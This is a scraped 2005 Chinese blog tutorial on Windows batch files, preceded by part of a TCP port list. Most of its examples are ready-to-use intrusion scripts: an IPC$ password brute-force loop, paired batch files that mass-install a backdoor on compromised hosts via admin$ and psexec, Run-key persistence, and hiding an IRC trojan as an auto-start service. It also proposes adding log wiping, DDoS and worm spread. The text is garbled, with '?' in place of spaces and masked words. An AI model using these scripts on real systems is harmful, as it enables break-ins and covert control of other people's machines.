1346/tcp?alta-ana-lm?Alta?Analytics?License?Manager?
1347/tcp?bbn-mmc?multi?media?conferencing?
1348/tcp?bbn-mmx?multi?media?conferencing?
1349/tcp?sbook?Registration?Network?Protocol?
1350/tcp?editbench?Registration?Network?Protocol?
1352/tcp?lotusnote?Lotus?Note?
1353/tcp?relief?Relief?Consulting?
1354/tcp?rightbrain?RightBrain?Software?
1355/tcp?intuitive-edge?Intuitive?Edge?
1356/tcp?cuillamartin?CuillaMartin?Company?
1357/tcp?pegboard?Electronic?PegBoard?
1358/tcp?connlcli?CONNLCLI?
1359/tcp?ftsrv?FTSRV?
1360/tcp?mimer?MIMER?
1361/tcp?linx?LinX?
1362/tcp?timeflies?TimeFlies?
1363/tcp?ndm-requester?Network?DataMover?Requester?
1364/tcp?ndm-server?Network?DataMover?Server?
1365/tcp?adapt-sna?Network?Software?Associates?
1366/tcp?netware-csp?Novell?NetWare?Comm?Service?Platform?
1367/tcp?dcs?DCS?
1368/tcp?screencast?ScreenCast?
1369/tcp?gv-us?GlobalView?to?Unix?Shell?
1370/tcp?us-gv?Unix?Shell?to?GlobalView?
1371/tcp?fc-cli?Fujitsu?Config?Protocol?
1372/tcp?fc-ser?Fujitsu?Config?Protocol?
1373/tcp?chromagrafx?Chromagrafx?
1374/tcp?molly?EPI?Software?Systems?
1375/tcp?bytex?Bytex?
1376/tcp?ibm-pps?IBM?Person?to?Person?Software?
1377/tcp?cichlid?Cichlid?License?Manager?
1378/tcp?elan?Elan?License?Manager?
1379/tcp?dbreporter?Integrity?Solutions?
1380/tcp?telesis-licman?Telesis?Network?License?Manager?
1381/tcp?apple-licman?Apple?Network?License?Manager?
1382/tcp?udt_os?
1383/tcp?gwha?GW?Hannaway?Network?License?Manager?
1384/tcp?os-licman?Objective?Solutions?License?Manager?
1385/tcp?atex_elmd?Atex?Publishing?License?Manager?
1386/tcp?checksum?CheckSum?License?Manager?
1387/tcp?cadsi-lm?Computer?Aided?Design?Software?Inc?LM?
1388/tcp?objective-dbc?Objective?Solutions?DataBase?Cache?
1389/tcp?iclpv-dm?document.nbspManager?
1390/tcp?iclpv-sc?Storage?Controller?
1391/tcp?iclpv-sas?Storage?Access?Server?
1392/tcp?iclpv-pm?Print?Manager?
1393/tcp?iclpv-nls?Network?Log?Server?
1394/tcp?iclpv-nlc?Network?Log?Client?
1395/tcp?iclpv-wsm?PC?Workstation?Manager?software?
1396/tcp?dvl-activemail?DVL?Active?Mail?

Fantasy?發表于2005-10-02 05:16:25?129?人閱讀?0?條評論??瀏覽全文??我要評論

2005-10-02　批處理資料

簡明批處理教程:



批處理命令如果運用得當，威力強大無人能敵!是不是想學習了呢，從今天我將把批處理的常用命令陸續的介紹給大家，如果大家有什么不懂的地方，可以寫下評論:



批處理文件是無格式的文本文件，它包含一條或多條命令。它的文件擴展名為?.bat?或?.cmd。在命令提示下鍵入批處理文件的名稱，或者雙擊該批處理文件，系統就會調用Cmd.exe按照該文件中各個命令出現的順序來逐個運行它們。?
一.簡單批處理內部命令簡介?
1.Echo?命令?
打開回顯或關閉請求回顯功能，或顯示消息。如果沒有任何參數，echo?命令將顯示當前回顯設置。?
語法?
echo?[{on　off}]?[message]?
Sample：@echo?off?/?echo?hello?world?
在實際應用中我們會把這條命令和重定向符號（也稱為管道符號，一般用>?>>?）結合來實現輸入一些命令到特定格式的文件中.這將在以后的例子中體現出來。?



2.@?命令?
表示不顯示@后面的命令，在***過程中（例如使用批處理來格式化敵人的硬盤）自然不能讓對方看到你使用的命令啦。?
Sample：@echo?off?
@echo?Now?initializing?the?program,please?wait?a?minite...?
@format?X:?/q/u/autoset?(format?這個命令是不可以使用/y這個參數的，可喜的是微軟留了個autoset這個參數給我們，效果和/y是一樣的。)?



3.Goto?命令?
指定跳轉到標簽，找到標簽后，程序將處理從下一行開始的命令。?
語法：goto?label?（label是參數，指定所要轉向的批處理程序中的行。）?
Sample：?
if?{%1}=={}?goto?noparms?
if?{%2}=={}?goto?noparms（如果這里的if、%1、%2你不明白的話，先跳過去，后面會有詳細的解釋。）?
@Rem?check?parameters?if?null?show?usage?
:noparms?
echo?Usage:?monitor.bat?ServerIP?PortNumber?
goto?end?
標簽的名字可以隨便起，但是最好是有意義的字母啦，字母前加個：用來表示這個字母是標簽，goto命令就是根據這個：來尋找下一步跳到到那里。最好有一些說明這樣你別人看起來才會理解你的意圖啊。?



4.Rem?命令?
注釋命令，在C語言中相當與/*--------*/,它并不會被執行，只是起一個注釋的作用，便于別人閱讀和你自己日后修改。?
Rem?Message?
Sample：@Rem?Here?is?the?de.ion.?
5.Pause?命令?
運行?Pause?命令時，將顯示下面的消息：?
Press?any?key?to?continue?.?.?.?
Sample：?
@echo?off?
:begin?
copy?a:*.*?d：\back?
echo?Please?put?a?new?disk?into?driver?A?
pause?
goto?begin?
在這個例子中，驅動器?A?中磁盤上的所有文件均復制到d:\back中。顯示的注釋提示您將另一張磁盤放入驅動器?A?時，pause?命令會使程序掛起，以便您更換磁盤，然后按任意鍵繼續處理。?



6.Call?命令?
從一個批處理程序調用另一個批處理程序，并且不終止父批處理程序。call?命令接受用作調用目標的標簽。如果在腳本或批處理文件外使用?Call，它將不會在命令行起作用。?
語法?
call?[[Drive:][Path]?FileName?[BatchParameters]]?[:label?[arguments]]?
參數?
[Drive:}[Path]?FileName?
指定要調用的批處理程序的位置和名稱。filename?參數必須具有?.bat?或?.cmd?擴展名。?



7.start?命令?
調用外部程序，所有的DOS命令和命令行程序都可以由start命令來調用。?
***常用參數：?
MIN?開始時窗口最小化?
SEPARATE?在分開的空間內開始?16?位?Windows?程序?
HIGH?在?HIGH?優先級類別開始應用程序?
REALTIME?在?REALTIME?優先級類別開始應用程序?
WAIT?啟動應用程序并等候它結束?
parameters?這些為傳送到命令/程序的參數?
執行的應用程序是?32-位?GUI?應用程序時，CMD.EXE?不等應用程序終止就返回命令提示。如果在命令腳本內執行，該新行為則不會發生。?
8.choice?命令?
choice?使用此命令可以讓用戶輸入一個字符，從而運行不同的命令。使用時應該加/c:參數，c:后應寫提示可輸入的字符，之間無空格。它的返回碼為1234……?
如:?choice?/c:dme?defrag,mem,end?
將顯示?
defrag,mem,end[D,M,E]??
Sample：?
Sample.bat的內容如下:?
@echo?off?
choice?/c:dme?defrag,mem,end?
if?errorlevel?3?goto?defrag?（應先判斷數值最高的錯誤碼）?
if?errorlevel?2?goto?mem?
if?errotlevel?1?goto?end?



:defrag?
c:\dos\defrag?
goto?end?
:mem?
mem?
goto?end?
:end?
echo?good?bye?



此文件運行后，將顯示?defrag,mem,end[D,M,E]??用戶可選擇d?m?e?，然后if語句將作出判斷，d表示執行標號為defrag的程序段，m表示執行標號為mem的程序段，e表示執行標號為end的程序段，每個程序段最后都以goto?end將程序跳到end標號處，然后程序將顯示good?bye，文件結束。?
9.If?命令?



if?表示將判斷是否符合規定的條件，從而決定執行不同的命令。?有三種格式:?
1、if?"參數"?==?"字符串"?　待執行的命令?
參數如果等于指定的字符串，則條件成立，運行命令，否則運行下一句。(注意是兩個等號）?
如if?"%1"=="a"?format?a:?
if?{%1}=={}?goto?noparms?
if?{%2}=={}?goto?noparms?



2、if?exist?文件名　?待執行的命令?
如果有指定的文件，則條件成立，運行命令，否則運行下一句。?
如if?exist?config.sys?edit?config.sys?



3、if?errorlevel?/?if?not?errorlevel?數字　?待執行的命令?
如果返回碼等于指定的數字，則條件成立，運行命令，否則運行下一句。?
如if?errorlevel?2?goto?x2?　?
DOS程序運行時都會返回一個數字給DOS，稱為錯誤碼errorlevel或稱返回碼，常見的返回碼為0、1。?



10.for?命令?
for?命令是一個比較復雜的命令，主要用于參數在指定的范圍內循環執行命令。?
在批處理文件中使用?FOR?命令時，指定變量請使用?%%variable?



for?{%variable|%%variable}?in?(set)?do?command?[?CommandLineOptions]?
%variable?指定一個單一字母可替換的參數。?
(set)?指定一個或一組文件。可以使用通配符。?
command?指定對每個文件執行的命令。?
command-parameters?為特定命令指定參數或命令行開關。?
在批處理文件中使用?FOR?命令時，指定變量請使用?%%variable?
而不要用?%variable。變量名稱是區分大小寫的，所以?%i?不同于?%I?



如果命令擴展名被啟用，下列額外的?FOR?命令格式會受到?
支持:?



FOR?/D?%variable?IN?(set)?DO?command?[command-parameters]?



如果集中包含通配符，則指定與目錄名匹配，而不與文件?
名匹配。?



FOR?/R?[[drive:]path]?%variable?IN?(set)?DO?command?[command-?



檢查以?[drive:]path?為根的目錄樹，指向每個目錄中的?
FOR?語句。如果在?/R?后沒有指定目錄，則使用當前?
目錄。如果集僅為一個單點(.)字符，則枚舉該目錄樹。?



FOR?/L?%variable?IN?(start,step,end)?DO?command?[command-para?



該集表示以增量形式從開始到結束的一個數字序列。?
因此，(1,1,5)?將產生序列?1?2?3?4?5，(5,-1,1)?將產生?
序列?(5?4?3?2?1)。?



FOR?/F?["options"]?%variable?IN?(file-set)?DO?command?
FOR?/F?["options"]?%variable?IN?("string")?DO?command?
FOR?/F?["options"]?%variable?IN?('command')?DO?command?



或者，如果有?usebackq?選項:?



FOR?/F?["options"]?%variable?IN?(file-set)?DO?command?
FOR?/F?["options"]?%variable?IN?("string")?DO?command?
FOR?/F?["options"]?%variable?IN?('command')?DO?command?



filenameset?為一個或多個文件名。繼續到?filenameset?中的?
下一個文件之前，每份文件都已被打開、讀取并經過處理。?
處理包括讀取文件，將其分成一行行的文字，然后將每行?
解析成零或更多的符號。然后用已找到的符號字符串變量值?
調用?For?循環。以默認方式，/F?通過每個文件的每一行中分開?
的第一個空白符號。跳過空白行。您可通過指定可選?"options"?
參數替代默認解析操作。這個帶引號的字符串包括一個或多個?
指定不同解析選項的關鍵字。這些關鍵字為:?



eol=c?-?指一個行注釋字符的結尾(就一個)?
skip=n?-?指在文件開始時忽略的行數。?
delims=xxx?-?指分隔符集。這個替換了空格和跳格鍵的?
默認分隔符集。?
tokens=x,y,m-n?-?指每行的哪一個符號被傳遞到每個迭代?
的?for?本身。這會導致額外變量名稱的?
格式為一個范圍。通過?nth?符號指定?m?
符號字符串中的最后一個字符星號，?
那么額外的變量將在最后一個符號解析之?
分配并接受行的保留文本。?
usebackq?-?指定新語法已在下類情況中使用:?
在作為命令執行一個后引號的字符串并且?
引號字符為文字字符串命令并允許在?fi?
中使用雙引號擴起文件名稱。?



sample1:?
FOR?/F?"eol=;;;?tokens=2,3*?delims=,?"?%i?in?(myfile.txt)?do?command?



會分析?myfile.txt?中的每一行，忽略以分號打頭的那些行，將?
每行中的第二個和第三個符號傳遞給?for?程序體；用逗號和/或?
空格定界符號。請注意，這個?for?程序體的語句引用?%i?來?
取得第二個符號，引用?%j?來取得第三個符號，引用?%k?
來取得第三個符號后的所有剩余符號。對于帶有空格的文件?
名，您需要用雙引號將文件名括起來。為了用這種方式來使?
用雙引號，您還需要使用?usebackq?選項，否則，雙引號會?
被理解成是用作定義某個要分析的字符串的。?



%i?專門在?for?語句中得到說明，%j?和?%k?是通過?
tokens=?選項專門得到說明的。您可以通過?tokens=?一行?
指定最多?26?個符號，只要不試圖說明一個高于字母?'z'?或?
'Z'?的變量。請記住，FOR?變量是單一字母、分大小寫和全局的；?
同時不能有?52?個以上都在使用中。?



您還可以在相鄰字符串上使用?FOR?/F?分析邏輯；方法是，?
用單引號將括號之間的?filenameset?括起來。這樣，該字符?
串會被當作一個文件中的一個單一輸入行。?



最后，您可以用?FOR?/F?命令來分析命令的輸出。方法是，將?
括號之間的?filenameset?變成一個反括字符串。該字符串會?
被當作命令行，傳遞到一個子?CMD.EXE，其輸出會被抓進?
內存，并被當作文件分析。因此，以下例子:?



FOR?/F?"usebackq?delims=="?%i?IN?(`set`)?DO?@echo?%i?



會枚舉當前環境中的環境變量名稱。?



另外，FOR?變量參照的替換已被增強。您現在可以使用下列?
選項語法:?



~I?-?刪除任何引號(")，擴充?%I?
%~fI?-?將?%I?擴充到一個完全合格的路徑名?
%~dI?-?僅將?%I?擴充到一個驅動器號?
%~pI?-?僅將?%I?擴充到一個路徑?
%~nI?-?僅將?%I?擴充到一個文件名?
%~xI?-?僅將?%I?擴充到一個文件擴展名?
%~sI?-?擴充的路徑只含有短名?
%~aI?-?將?%I?擴充到文件的文件屬性?
%~tI?-?將?%I?擴充到文件的日期/時間?
%~zI?-?將?%I?擴充到文件的大小?
%~$PATH:I?-?查找列在路徑環境變量的目錄，并將?%I?擴充?
到找到的第一個完全合格的名稱。如果環境變量?
未被定義，或者沒有找到文件，此組合鍵會擴充?
空字符串?



可以組合修飾符來得到多重結果:?



%~dpI?-?僅將?%I?擴充到一個驅動器號和路徑?
%~nxI?-?僅將?%I?擴充到一個文件名和擴展名?
%~fsI?-?僅將?%I?擴充到一個帶有短名的完整路徑名?
%~dp$PATH:i?-?查找列在路徑環境變量的目錄，并將?%I?擴充?
到找到的第一個驅動器號和路徑。?
%~ftzaI?-?將?%I?擴充到類似輸出線路的?DIR?



在以上例子中，%I?和?PATH?可用其他有效數值代替。%~?語法?
用一個有效的?FOR?變量名終止。選取類似?%I?的大寫變量名?
比較易讀，而且避免與不分大小寫的組合鍵混淆。?



以上是MS的官方幫助，下面我們舉幾個例子來具體說明一下For命令在***中的用途。?



sample2：?



利用For命令來實現對一臺目標Win2k主機的暴力密碼破解。?
我們用net?use?\\ip\ipc$?"password"?/u:"administrator"來嘗試這和目標主機進行連接，當成功時記下密碼。?
最主要的命令是一條：for?/f?i%?in?(dict.txt)?do?net?use?\\ip\ipc$?"i%"?
/u:"administrator"?
用i%來表示admin的密碼，在dict.txt中這個取i%的值用net?use?命令來連接。然后將程序運行結果傳遞給find命令－－?
for?/f?i%%?in?(dict.txt)?do?net?use?\\ip\ipc$?"i%%"?
/u:"administrator"|find?":命令成功完成">>D:\ok.txt?，這樣就ko了。?



sample3：?



你有沒有過手里有大量肉雞等著你去種后門＋***呢？，當數量特別多的時候，原本很開心的一件事都會變得很郁悶：）。文章開頭就談到使用批處理文件，可以簡化日常或重復性任務。那么如何實現呢？呵呵，看下去你就會明白了。?




主要命令也只有一條：（在批處理文件中使用?FOR?命令時，指定變量使用?%%variable）?
@for?/f?"tokens=1,2,3?delims=?"?%%i?in?(victim.txt)?do?start?call?door.bat?
%%i?%%j?%%k?
tokens的用法請參見上面的sample1，在這里它表示按順序將victim.txt中的內容傳遞給door.bat中的參數%i?%j?%k。?
而cultivate.bat無非就是用net?use命令來建立IPC$連接，并copy***＋后門到victim，然后用返回碼（If?
errorlever?=）來篩選成功種植后門的主機，并echo出來，或者echo到指定的文件。?
delims=?表示vivtim.txt中的內容是一空格來分隔的。我想看到這里你也一定明白這victim.txt里的內容是什么樣的了。應該根據%%i?
%%j?%%k表示的對象來排列，一般就是?ip?password?username。?
代碼雛形：?
---------------?cut?here?then?save?as?a?batchfile(I?call?it?main.bat?)?
---------------------------?
@echo?off?
@if?"%1"==""?goto?usage?
@for?/f?"tokens=1,2,3?delims=?"?%%i?in?(victim.txt)?do?start?call?
IPChack.bat?%%i?%%j?%%k?
@goto?end?
:usage?
@echo?run?this?batch?in?dos?modle.or?just?double-click?it.?
:end?
---------------?cut?here?then?save?as?a?batchfile(I?call?it?main.bat?)?
---------------------------?




-------------------?cut?here?then?save?as?a?batchfile(I?call?it?door.bat)?
-----------------------------?
@net?use?\\%1\ipc$?%3?/u:"%2"?
@if?errorlevel?1?goto?failed?
@echo?Trying?to?establish?the?IPC$?connection?…………OK?
@copy?windrv32.exe\\%1\admin$\system32?&&?if?not?errorlevel?1?echo?IP?%1?
USER?%2?PWD?%3?>>ko.txt?
@psexec?\\%1?c:\winnt\system32\windrv32.exe?
@psexec?\\%1?net?start?windrv32?&&?if?not?errorlevel?1?echo?%1?Backdoored?
>>ko.txt?
:failed?
@echo?Sorry?can?not?connected?to?the?victim.?
-----------------?cut?here?then?save?as?a?batchfile(I?call?it?door.bat)?
--------------------------------?
這只是一個自動種植后門批處理的雛形，兩個批處理和后門程序（Windrv32.exe）,PSexec.exe需放在統一目錄下.批處理內容?
尚可擴展,例如:加入清除日志+DDOS的功能,加入定時添加用戶的功能,更深入一點可以使之具備自動傳播功能(蠕蟲).此處不多做敘述,有興趣的朋友可自行研究.?




二.如何在批處理文件中使用參數?
批處理中可以使用參數，一般從1%到?9%這九個，當有多個參數時需要用shift來移動，這種情況并不多見，我們就不考慮它了。?
sample1：fomat.bat?
@echo?off?
if?"%1"=="a"?format?a:?
:format?
@format?a:/q/u/auotset?
@echo?please?insert?another?disk?to?driver?A.?
@pause?
@goto?fomat?
這個例子用于連續地格式化幾張軟盤，所以用的時候需在dos窗口輸入fomat.bat?a，呵呵,好像有點畫蛇添足了～^_^?
sample2：?
當我們要建立一個IPC$連接地時候總要輸入一大串命令，弄不好就打錯了，所以我們不如把一些固定命令寫入一個批處理，把肉雞地ip?password?
username?當著參數來賦給這個批處理，這樣就不用每次都打命令了。?
@echo?off?
@net?use?\\1%\ipc$?"2%"?/u:"3%"?注意哦，這里PASSWORD是第二個參數。?
@if?errorlevel?1?echo?connection?failed?
怎么樣,使用參數還是比較簡單的吧？你這么帥一定學會了^_^.No.3?
三.如何使用組合命令(Compound?Command)?



1.&?



Usage：第一條命令?&?第二條命令?[&?第三條命令...]?



用這種方法可以同時執行多條命令，而不管命令是否執行成功?



Sample：?
C:\>dir?z:?&?dir?c:\Ex4rch?
The?system?cannot?find?the?path?specified.?
Volume?in?drive?C?has?no?label.?
Volume?Serial?Number?is?0078-59FB?



Directory?of?c:\Ex4rch?



2002-05-14?23:51?<DIR>?.?
2002-05-14?23:51?<DIR>?..?
2002-05-14?23:51?14?sometips.gif?



2.&&?



Usage：第一條命令?&&?第二條命令?[&&?第三條命令...]?



用這種方法可以同時執行多條命令，當碰到執行出錯的命令后將不執行后面的命令，如果一直沒有出錯則一直執行完所有命令；?



Sample：?
C:\>dir?z:?&&?dir?c:\Ex4rch?
The?system?cannot?find?the?path?specified.?



C:\>dir?c:\Ex4rch?&&?dir?z:?
Volume?in?drive?C?has?no?label.?
Volume?Serial?Number?is?0078-59FB?



Directory?of?c:\Ex4rch?



2002-05-14?23:55?<DIR>?.?
2002-05-14?23:55?<DIR>?..?
2002-05-14?23:55?14?sometips.gif?
1?File(s)?14?bytes?
2?Dir(s)?768,671,744?bytes?free?
The?system?cannot?find?the?path?specified.?



在做備份的時候可能會用到這種命令會比較簡單，如：?
dir?file://192.168.0.1/database/backup.mdb?&&?copy?
file://192.168.0.1/database/backup.mdb?E:\backup?
如果遠程服務器上存在backup.mdb文件，就執行copy命令，若不存在該文件則不執行copy命令。這種用法可以替換IF?exist了?：）?



3.||?



Usage：第一條命令?||?第二條命令?[||?第三條命令...]?



用這種方法可以同時執行多條命令，當碰到執行正確的命令后將不執行后面的命令，如果沒有出現正確的命令則一直執行完所有命令；?



Sample：?
C:\Ex4rch>dir?sometips.gif?||?del?sometips.gif?
Volume?in?drive?C?has?no?label.?
Volume?Serial?Number?is?0078-59FB?



Directory?of?C:\Ex4rch?



2002-05-14?23:55?14?sometips.gif?
1?File(s)?14?bytes?
0?Dir(s)?768,696,320?bytes?free?



組合命令使用的例子：?
sample：?
@copy?trojan.exe?\\%1\admin$\system32?&&?if?not?errorlevel?1?echo?IP?%1?
USER?%2?PASS?%3?>>victim.txt?



四、管道命令的使用?



1.|?命令?
Usage：第一條命令?|?第二條命令?[|?第三條命令...]?
將第一條命令的結果作為第二條命令的參數來使用，記得在unix中這種方式很常見。?



sample：?
time?/t>>D:\IP.log?
netstat?-n?-p?tcp|find?":3389">>D:\IP.log?
start?Explorer?
看出來了么？用于終端服務允許我們為用戶自定義起始的程序，來實現讓用戶運行下面這個bat，以獲得登錄用戶的IP。?



2.>、>>輸出重定向命令?
將一條命令或某個程序輸出結果的重定向到特定文件中,?>?與?
>>的區別在于，>會清除調原有文件中的內容后寫入指定文件，而>>只會追加內容到指定文件中，而不會改動其中的內容。?



sample1：?
echo?hello?world>c:\hello.txt?(stupid?example?)?



sample2:?
時下DLL***盛行，我們知道system32是個捉迷藏的好地方，許多***都削尖了腦袋往那里鉆，DLL馬也不例外，針對這一點我們可以在安裝好系統和必要的應用程序后，對該目錄下的EXE和DLL文件作一個記錄：?



運行CMD--轉換目錄到system32--dir?*.exe>exeback.txt?&?dir?*.dll>dllback.txt,?
這樣所有的EXE和DLL文件的名稱都被分別記錄到exeback.txt和dllback.txt中,?
日后如發現異常但用傳統的方法查不出問題時,則要考慮是不是系統中已經潛入DLL***了.?
這時我們用同樣的命令將system32下的EXE和DLL文件記錄到另外的exeback1.txt和dllback1.txt中,然后運行:?
CMD--fc?exeback.txt?exeback1.txt>diff.txt?&?fc?dllback.txt?
dllback1.txt>diff.txt.(用FC命令比較前后兩次的DLL和EXE文件,并將結果輸入到diff.txt中),這樣我們就能發現一些多出來的DLL和EXE文件,然后通過查看創建時間、版本、是否經過壓縮等就能夠比較容易地判斷出是不是已經被DLL***光顧了。沒有是最好，如果有的話也不要直接DEL掉，先用regsvr32?
/u?trojan.dll將后門DLL文件注銷掉,再把它移到回收站里，若系統沒有異常反映再將之徹底刪除或者提交給殺毒軟件公司。?



3.<?、>&?、<&?
<?從文件中而不是從鍵盤中讀入命令輸入。?
>&?將一個句柄的輸出寫入到另一個句柄的輸入中。?
<&?從一個句柄讀取輸入并將其寫入到另一個句柄輸出中。?
這些并不常用，也就不多做介紹。?



No.5?
五.如何用批處理文件來操作注冊表?



在***過程中經常回操作注冊表的特定的鍵值來實現一定的目的，例如:為了達到隱藏后門、***程序而刪除Run下殘余的鍵值。或者創建一個服務用以加載后門。當然我們也會修改注冊表來加固系統或者改變系統的某個屬性，這些都需要我們對注冊表操作有一定的了解。下面我們就先學習一下如何使用.REG文件來操作注冊表.(我們可以用批處理來生成一個REG文件)?



關于注冊表的操作，常見的是創建、修改、刪除。?



1.創建?
創建分為兩種，一種是創建子項(Subkey)?



我們創建一個文件，內容如下：?



Windows?Registry?Editor?Version?5.00?



[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\hacker]?



然后執行該腳本，你就已經在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft下創建了一個名字為“hacker”的子項。?



另一種是創建一個項目名稱?
那這種文件格式就是典型的文件格式，和你從注冊表中導出的文件格式一致，內容如下：?



Windows?Registry?Editor?Version?5.00?



[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]?
"Invader"="Ex4rch"?
"Door"=C:\\WINNT\\system32\\door.exe?
"Autodos"=dword:02?



這樣就在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下?
新建了:Invader、door、about這三個項目?
Invader的類型是“String?Value”?
door的類型是“REG?SZ?Value”?
Autodos的類型是“DWORD?Value”?




2.修改?
修改相對來說比較簡單，只要把你需要修改的項目導出，然后用記事本進行修改，然后導入（regedit?/s）即可。?



3.刪除?
我們首先來說說刪除一個項目名稱，我們創建一個如下的文件：?



Windows?Registry?Editor?Version?5.00?



[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]?
"Ex4rch"=-?



執行該腳本，[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下的"Ex4rch"就被刪除了；?




我們再看看刪除一個子項，我們創建一個如下的腳本：?



Windows?Registry?Editor?Version?5.00?



[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]?



執行該腳本，[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]就已經被刪除了。?




相信看到這里，.reg文件你基本已經掌握了。那么現在的目標就是用批處理來創建特定內容的.reg文件了，記得我們前面說道的利用重定向符號可以很容易地創建特定類型的文件。?




samlpe1:如上面的那個例子,如想生成如下注冊表文件?
Windows?Registry?Editor?Version?5.00?



[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]?
"Invader"="Ex4rch"?
"door"=hex:255?
"Autodos"=dword:000000128?
只需要這樣：?
@echo?Windows?Registry?Editor?Version?5.00>>Sample.reg?



@echo?
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>Sample.reg?



@echo?"Invader"="Ex4rch">>Sample.reg?
@echo?"door"=5>>C:\\WINNT\\system32\\door.exe>>Sample.reg?
@echo?"Autodos"=dword:02>>Sample.reg?




samlpe2:?
我們現在在使用一些比較老的***時,可能會在注冊表的[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run(Runonce、Runservices、Runexec)]下生成一個鍵值用來實現***的自啟動.但是這樣很容易暴露***程序的路徑,從而導致***被查殺,相對地若是將***程序注冊為系統服務則相對安全一些.下面以配置好地IRC***DSNX為例(名為windrv32.exe)?



@start?windrv32.exe?
@attrib?+h?+r?windrv32.exe?
@echo?[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]?
>>patch.dll?
@echo?"windsnx?"=-?>>patch.dll?
@sc.exe?create?Windriversrv?type=?kernel?start=?auto?displayname=?
WindowsDriver?binpath=?c:\winnt\system32\windrv32.exe?
@regedit?/s?patch.dll?
@delete?patch.dll?



@REM?[刪除DSNXDE在注冊表中的啟動項，用sc.exe將之注冊為系統關鍵性服務的同時將其屬性設為隱藏和只讀，并config為自啟動]?
@REM?這樣不是更安全^_^.?



六.精彩實例放送。?
1.刪除win2k/xp系統默認共享的批處理?
------------------------?cut?here?then?save?as?.bat?or?.cmd?file?
---------------------------?



@echo?preparing?to?delete?all?the?default?shares.when?ready?pres?any?key.?
@pause?
@echo?off?



:Rem?check?parameters?if?null?show?usage.?
if?{%1}=={}?goto?:Usage?



:Rem?code?start.?
echo.?
echo?------------------------------------------------------?
echo.?
echo?Now?deleting?all?the?default?shares.?
echo.?
net?share?%1$?/delete?
net?share?%2$?/delete?
net?share?%3$?/delete?
net?share?%4$?/delete?
net?share?%5$?/delete?
net?share?%6$?/delete?
net?share?%7$?/delete?
net?share?%8$?/delete?
net?share?%9$?/delete?
net?stop?Server?
net?start?Server?
echo.?
echo?All?the?shares?have?been?deleteed?
echo.?
echo?------------------------------------------------------?
echo.?
echo?Now?modify?the?registry?to?change?the?system?default?properties.?
echo.?
echo?Now?creating?the?registry?file?
echo?Windows?Registry?Editor?Version?5.00>?c:\delshare.reg?
echo?
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]>>?
c:\delshare.reg?
echo?"AutoShareWks"=dword:00000000>>?c:\delshare.reg?
echo?"AutoShareServer"=dword:00000000>>?c:\delshare.reg?
echo?Nowing?using?the?registry?file?to?chang?the?system?default?
properties.?
regedit?/s?c:\delshare.reg?
echo?Deleting?the?temprotarily?files.?
del?c:\delshare.reg?
goto?:END?



:Usage?
echo.?
echo?------------------------------------------------------?
echo.?
echo?☆?A?example?for?batch?file?☆?
echo?☆?[Use?batch?file?to?change?the?sysytem?share?properties.]?☆?
echo.?
echo?Author：Ex4rch?
echo?Mail:Ex4rch@hotmail.com?QQ:1672602?
echo.?
echo?Error：Not?enough?parameters?
echo.?
echo?☆?Please?enter?the?share?disk?you?wanna?delete?☆?
echo.?
echo?For?instance，to?delete?the?default?shares:?
echo?delshare?c?d?e?ipc?admin?print?
echo.?
echo?If?the?disklable?is?not?as?C:?D:?E:?，Please?chang?it?youself.?
echo.?
echo?example：?
echo?If?locak?disklable?are?C:?D:?E:?X:?Y:?Z:?，you?should?chang?the?
command?into?：?
echo?delshare?c?d?e?x?y?z?ipc?admin?print?
echo.?
echo?***?you?can?delete?nine?shares?once?in?a?useing?***?
echo.?
echo?------------------------------------------------------?
goto?:EOF?



:END?
echo.?
echo?------------------------------------------------------?
echo.?
echo?OK,delshare.bat?has?deleted?all?the?share?you?assigned.?
echo.Any?questions?,feel?free?to?mail?to?Ex4rch@hotmail.com.?
echo?
echo.?
echo?------------------------------------------------------?
echo.?



:EOF?
echo?end?of?the?batch?file?
------------------------?cut?here?then?save?as?.bat?or?.cmd?file?
---------------------------?




2.全面加固系統（給肉雞打補丁）的批處理文件?
------------------------?cut?here?then?save?as?.bat?or?.cmd?file?
---------------------------?



@echo?Windows?Registry?Editor?Version?5.00?>patch.dll?
@echo?
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]?
>>patch.dll?



@echo?"AutoShareServer"=dword:00000000?>>patch.dll?
@echo?"AutoShareWks"=dword:00000000?>>patch.dll?
@REM?[禁止共享]?



@echo?[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]?
>>patch.dll?
@echo?"restrictanonymous"=dword:00000001?>>patch.dll?
@REM?[禁止匿名登錄]?



@echo?
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters]?
>>patch.dll?
@echo?"SMBDeviceEnabled"=dword:00000000?>>patch.dll?
@REM?[禁止及文件訪問和打印共享]?



@echo?
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\@REMoteRegistry]?
>>patch.dll?
@echo?"Start"=dword:00000004?>>patch.dll?
@echo?[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Schedule]?
>>patch.dll?
@echo?"Start"=dword:00000004?>>patch.dll?
@echo?[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows?
NT\CurrentVersion\Winlogon]?>>patch.dll?
@echo?"ShutdownWithoutLogon"="0"?>>patch.dll?
@REM?[禁止登錄前關機]?



@echo?"DontDisplayLastUserName"="1"?>>patch.dll?
@REM?[禁止顯示前一個登錄用戶名稱]?
@regedit?/s?patch.dll?



------------------------?cut?here?then?save?as?.bat?or?.cmd?file?
---------------------------?



